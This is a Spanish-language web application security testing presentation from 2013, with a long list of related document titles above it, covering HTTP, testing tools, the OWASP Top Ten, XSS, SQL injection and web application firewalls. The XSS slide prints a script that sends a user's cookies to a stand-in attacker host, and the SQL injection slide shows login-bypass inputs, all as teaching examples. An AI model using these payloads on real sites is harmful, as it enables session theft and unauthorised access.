Testing de Seguridad de Aplicaciones Web



Documentos relacionados
Seguridad en Aplicaciones Web

HTTP Introducción. Redes de Datos Ing. Marcelo Utard / Ing. Pablo Ronco FACULTAD DE INGENIERIA UNIVERSIDAD DE BUENOS AIRES

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Funcionamiento de Servicios Web, FTP

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

Tema 2 El Servicio Web

DESARROLLO DE APLICACIONES PARA LA WEB II

Clase 22 Nivel de Aplicación WWW Tema 6.- Nivel de aplicación en Internet

Servicio de publicación de información web (HTTP)

Ataques Web Automáticos: Identificación, Engaño y Contraataque

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Clase. geniería de la Computación. Departamento de Ciencias e Ing. Diego C. Martínez - DCIC-UNS

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

INTERCAMBIO DE OBJETOS

Desarrollo y servicios web

Introducción al desarrollo web (idesweb)

HTTP. Redes I. Departamento de Sistemas Telemáticos y Computación (GSyC) Noviembre de GSyC HTTP 1

Introducción a las Redes de Computadoras. Obligatorio

Curso 2008/2009 Arquitecturas Distribuidas 3

POLICÍA FEDERAL DIVISIÓN CIENTÍFICA COORDINACIÓN PARA LA PREVENCIÓN DE DELITOS ELECTRÓNICOS SEGURIDAD EN APLICACIONES WEB PRIMERA PARTE

HyperText Transfer Protocol

Tema 4. II - Cookies. Arquitecturas Distribuidas 11/12

S E G U R I D A D E N A P L I C A C I O N E S W E B

Ataques XSS en Aplicaciones Web

Día 23, Hacking ético: Auditoria web y perspectiva desde la Administración Publica

Redes de Computadoras Práctica 4: World Wide Web

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

HyperText Transfer Protocol

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

CRSP - OWASP! Motivación! Arquitectura de despliegue Mod_Security! Conclusiones!!

Enlace web remoto a travez de SSh Juan Badilla Riquelme Anibal Espinoza Moraga Cesar Reyes Pino

Tema 2: Protocolo HTTP.

Máster Profesional en Tecnologías de Seguridad. Seguridad en la web

Seguridad en Sistemas Informáticos (SSI) Programación Segura

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

Desarrollo y servicios web

ATEL ASESORES C.A IP Multimedia Subsystem Prof. Diógenes Marcano

Offensive State Auditoría de Aplicaciones Web

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

5.1 Introducción. 5.2 El protocolo HTTP.

Seguridad en Sitios Web de Alto Tráfico. Ing. Enrique Hurtarte Juárez

Instalación, creación y configuración del servicio FTP

Gastón Toth Lic. en Computación CEH Pentester

XPERTO EN DISEÑO DE PÁGINAS WEB

Configuración de Apache

LOS 7 PECADOS DEL DESARROLO WEB & TENTACIÓN DEL USUARIOS EN APLICACIONES MOVILES.

b1010 formas de escribir código (in)seguro

La web (el servicio WWW)

Redes de Computadores II

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

WEB Y HTTP. HTTP: Hypertext Transfer Protocol [RFC 1945] [RFC 2616] Web Page URL (Uniform/Universal Resource Identifier)

Seguridad en Aplicaciones Web

Capa de Aplicación (Parte 2 de 2)

Programación páginas web con ASP.NET 3.5 (C#)

Fundamentos de programación Estudia las estructuras de control y cómo definir funciones en JavaScript.

1

Análisis forense técnico en entornos virtuales

Copyright. INSTRUCTIVO DE CONFIGURACIÓN DE PC s DE CLIENTES CASH MANAGEMENT

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Protocolo HTTP Apache. Servicios HTTP. Esteban De La Fuente Rubio L A TEX. Universidad Andrés Bello. 17 jun 2011

WAPITI. Escaner de vulnerabilidades de aplicaciones web y auditor de seguridad. VI OWASP Spain Chapter Meeting


Manual de Webalizer. Sync-Intertainment

SERVIDOR WEB MULTIPLATAFORMA CON IMPLEMENTACIÓN CGI

PRACTICA CAPITULO 2 MODULO 1 PROTOCOLOS Y LA FUNCIONALIDAD DE LA CAPA DE APLICACIÓN


Su Seguridad es Nuestro Éxito

Concepto de Seguridad de Alto Nivel: A lo largo del curso hemos establecido protecciones en los equipos y en la información que almacenan e

Iptables, herramienta para controlar el tráfico de un servidor

Seguridad de un Portal

PROTOCOLO HTTP. Hypertext Transfer Protocol

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián Criptografía y Seguridad Informática.

Seguridad Informática

Aspectos Básicos de Networking

Práctica 1. Uso básico de servicios cliente-servidor

Programación páginas web. Servidor (PHP)

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

Si usted quiere desarrollar con Bluevia y Java, esto es lo primero que debe saber

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro antonio@noveria.es

Laboratorio de Aplicaciones Telemáticas (Curso 2009/2010)

Problemas sobre DNS y HTTP Asignatura de Redes

About Me. Mario Robles Tencio

AUTENTIFICACIÓN HTTP

PROGRAMACIÓN EN PHP. 1. Identificar las características y modalidad de programación bajo PHP.

Manual OWAControl. Contenido. Manual OWAControl

PRACTICA CAPITULO 2 MODULO 1 PROTOCOLOS Y LA FUNCIONALIDAD DE LA CAPA DE APLICACIÓN

Andrés Riancho Martin Tartarelli Copyright 2008 CYBSEC. All rights reserved.

Protocolos de WWW. Bibliografía: Redes de Computadores: un enfoque descendente basado en Internet : J.F Kurose y K.W. Ross. GSyC 2007.

AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS

PROGRAMACIÓN PÁGINAS WEB CON PHP

Firewalls, IPtables y Netfilter

NIVEL 16: ESTRUCTURAS N-ARIAS RECURSIVAS Aplicaciones Web, Html y Servlets. ISIS1206 Estructuras de Datos


CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS

Invocación por protocolo de aplicaciones nativas desde páginas Web

Año 2012 ENHACKE ENHACKE CERTIFICATE IN WEBAPP PENTESTING. Curso Oficial de Certificación ENHACKE CURSOS

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS

Obteniendo credenciales en redes internas sin despeinarse

Transcripción:

Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. jardita@cybsec.com 16 de Noviembre de 2013 Coatzacoalcos - MEXICO

Temario - Protocolo HTTP - Herramientas de Testing Web. - Vulnerabilidades más comunes - Web Application Firewall 2

Protocolo HTTP 3

Arquitectura Web Física 4

Arquitectura Web Lógica 5

Características del Protocolo HTTP HTTP/1.1 definido en RFC 2616 Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT Encabezado Host : indica el nombre del servidor al cual se le realiza el pedido, permite que se utilicen hosts virtuales. Sin Estado. Conexiones TCP persistentes por defecto. Encabezado Connection : permite forzar el cierre de la conexión una vez obtenida la respuesta. Dos tipos de mensajes: Request y Response. 6

Formato del Mensaje HTTP REQUEST MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] Métodos:, GET, HEAD o POST en HTTP/1.0. GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE o CONNECT en HTTP/1.1. Versión: HTTP/1.0 o HTTP/1.1 Los Encabezados pueden ser de tres tipos: general, de petición y/o de entidad. URI puede ser: *, URL absoluta, o PATH absoluto. 7

Métodos HTTP OPTIONS: Métodos disponibles sobre el recurso especificado. GET: Solicitud del recurso especificado. HEAD: Encabezados del recurso especificado. TRACE: Permite realizar debugging. El servidor responde con el mensaje de solicitud como cuerpo del mensaje de respuesta. POST: Permite enviar información al servidor. PUT: Permite subir los datos al servidor para que sean accedidos a través de la URI especificada. DELETE: Eliminar el recurso indicado. CONNECT: Se utiliza con un servidor Proxy que puede ser utilizado como túnel. 8

Ejemplo de un Mensaje HTTP REQUEST GET http://www.mibanco.com.ar/ HTTP/1.1 Host: www.mibanco.com.ar User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Paros/3.2.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,tex t/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 9

Formato del Mensaje HTTP RESPONSE VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] Versión: HTTP/1.0 o HTTP/1.1 El código de estado es un número de tres dígitos que indica el estado de la respuesta. Descrip es una breve frase que explica el código de estado. Los Encabezados pueden ser de tres tipos: general, de respuesta y/o de entidad. 10

Ejemplo de un Mensaje HTTP RESPONSE HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Content-Location: http://www.mibanco.com.ar/index.html Date: Thu, 30 Jun 2005 09:33:33 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 28 Jun 2005 13:15:58 GMT Content-Length: 577 <html> <head> <title>mi.banco - Pagina Principal</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> </head>... 11

Códigos de Estado Rango 1xx: Informativos, se recibió el pedido y se está procesando. Rango 2xx: Pedido Exitoso, se recibió el pedido, se comprendió y se acceptó. Rango 3xx: Redirección, se debe realizar otro pedido para completar la solicitud. Rango 4xx: Error del Cliente, la solicitud está mal formulada o no se puede llevar a cabo. Rango 5xx: Error del Servidor, el servidor no pudo completar un solicitud aparentemente válida. 12

Códigos de Estado Algunos Ejemplos "200" OK: La solicitud fue exitosa. "301" Moved Permanently: Se le asignó una nueva URI al recurso. "302" Found: El recurso está accesible, temporalmente, en otra URI. "304" Not Modified: No se modificó el recurso desde que el cliente lo accedió. 400" Bad Request: Petición errónea. "401" Unauthorized: No está autorizado a acceder el recurso, se debe enviar los encabezados de autenticación. "403" Forbidden: El servidor comprende la solicitud pero no va a permitir el acceso al recurso. "404" Not Found: Recurso no encontrado. "405" Method Not Allowed: No se permite el uso del método sobre el recurso. "500" Internal Server Error: Error en el servidor al procesar el pedido. "505" HTTP Version not supported: versión HTTP no soportada. 13

Manejo de Sesión: Cookies - Mecanismo para el manejo de estado en el protocolo HTTP. - Se define en los RFC 2109, y RFC 2965 añade la versión 2. - Define el encabezado Set-Cookie: Set-Cookie: NAME=nombre; Comment=comentario; Domain=dominio; Max-Age=delta-segundos; Path=path; Secure; Version=version Los campos NAME, y Version son los únicos requeridos. Domain: dominio para el cual la cookie es válida. Max-Age: tiempo de vida, en segundos, de la cookie. Path: especifica el subconjunto de URL s para las que aplica la cookie. Secure: la cookie debe ser manejada de forma segura a definir por el Navegador Web. 14

Herramientas de Testing Web 15

Proxy Local: Burp Un proxy local permite interceptar los pedidos del navegador y modificarlos. (http://portswigger.net/burp/) 16

Scanner de Vulnerabilidades: Nikto Un Scanner de vulnerabilidades analiza el servidor verificando problemas comunes de configuración, versiones desactualizadas o vulnerables, y problemas de seguridad de distintos servidores y aplicaciones Web. (http://www.cirt.net/code/nikto.shtml) 17

Scanner de Vulnerabilidades: N-Stealth (www.nstalker.com) 18

Vulnerabilides más comunes 19

OWASP TOPTEN Nr Vulnerabilidad A1 Cross Site Scripting (XSS) Secuencia de Comandos en Sitios Cruzados A2 Injection Flaws Fallas de Inyección A3 Malicious File Execution Ejecución de ficheros malintencionados A4 Insecure Direct Object Reference Referencia Directa a Objetos Insegura A5 A6 A7 Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Vulnerabilidad de Falsificación de Petición en Sitios Cruzados Revelación de Información y gestión Incorrecta de Errores Pérdida de Autenticación y Gestión de Errores A8 Insecure Cryptographic Storage Almacenamiento criptográfico inseguro A9 Insecure Communications Comunicaciones Inseguras A10 Failure to Restrict URL Access Falla de restricción de acceso a URL http://www.owasp.org/ 20

Cross-Site Scripting Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una página Web que se ejecuta cuando la página es accedida por un usuario. 21 21

Cross-Site Scripting: Qué se puede hacer? Robo de Credenciales: <script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?' +document.cookie</script> El script anterior envía las cookies de quién lo ejecute. Redirección de Cliente: <script>document.location= http://www.sitiocompetencia.com.ar</script> El script anterior redirecciona al usuario a el sitio especificado. En resumen... Lo que se pueda hacer con Javascript! 22 22

Cross-Site Scripting y Phishing Ejemplo: La URL es la del sitio, sin embargo se visualiza otro sitio a través de una vulnerabilidad de XSS 23 23

Escalación de Privilegios y Manejo de Sesión Session Prediction: Las aplicaciones vulnerables generan credenciales de autenticación predecibles; permitiendo deducir las credenciales de un usuario autenticado o las que van a ser asignadas al próximo usuario que se autentique. Ejemplo: La cookie asignada a cada usuario se realiza en forma secuencial. 24 24

SQL Injection Es una técnica cuyo objetivo es el de inyectar consultas SQL arbitrarias en páginas vulnerables que interactúan con una Base de Datos, logrando de esta forma obtener, modificar y/o eliminar información sensible. Atacando ciertos motores de Bases de Datos es posible, también, lograr la ejecución de comandos del Sistema Operativo. 25 25

SQL Injection Conceptos Básicos 26 26

SQL Injection Demostración: Eludiendo Logins SELECT * FROM Usuarios WHERE Username = luis AND Password = clave SELECT * FROM Usuarios WHERE Username = OR 1=1-- AND Password = aa SELECT * FROM Usuarios WHERE Username = admin -- AND Password = aa 27 27

Web Application Firewall 28

Qué es WAF? Una WAF es un Firewall de aplicaciones web que funciona a nivel de la capa 7 del modelo OSI. Nos permite frenar intentos de intrusión a nivel de aplicaciones web. Existen varias soluciones: - URLSCAN de Microsoft - Mod_Secuity sobre Apache. - Soluciones comerciales (CISCO, BlueCoat, F5, etc). 29

ModSecurity (www.modseurity.org) Módulo para el servidor Web Apache. Actúa como IDS entre el cliente y el servidor Web; filtra los pedidos en base a expresiones regulares. Nos permite filtrar por: El encabezado HTTP La URL El payload Las acciones permitidas son: Logear el pedido Rechazar el pedido (permite especificar el HTTP status de la respuesta) Redireccioner el pedido Dejar pasar el pedido 30

Modos de Operación del WAF Proxy Reverso: Se redirige el tráfico HTTP(S) para que pase a través del WAF que está actuando como un proxy reverso. Es decir, recibe las peticiones HTTP, las resuelve contra los servidores Web y, luego, las reenvía al cliente. Esto le permite procesar los pedidos y las respuesta en busca de ataques o resultados de los ataques. 31

Capacidades de Filtrado: Qué puede ver? El WAF puede actuar sobre las siguientes porciones de un pedido HTTP y/o de una respuesta HTTP: Métodos Versión del protocolo Encabezados Cuerpo del mensaje URL Código de respuesta IP Origen MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF> [ENCABEZADOS] <CRLF> [CUERPO DEL MENSAJE] 32

Conclusiones El área de testing de seguridad de aplicaciones web es muy amplio y requiere de conocimientos de redes, bases de datos, sistemas operativos y programación. Se detectan vulnerabilidades de seguridad en el 70% de las aplicaciones web que nosotros hemos evaluado. Es una excelente área para investigar y desarrollarse. 33

Testing de Seguridad de Aplicaciones Web Julio C. Ardita, CISM. jardita@cybsec.com 16 de Noviembre de 2013 Coatzacoalcos - MEXICO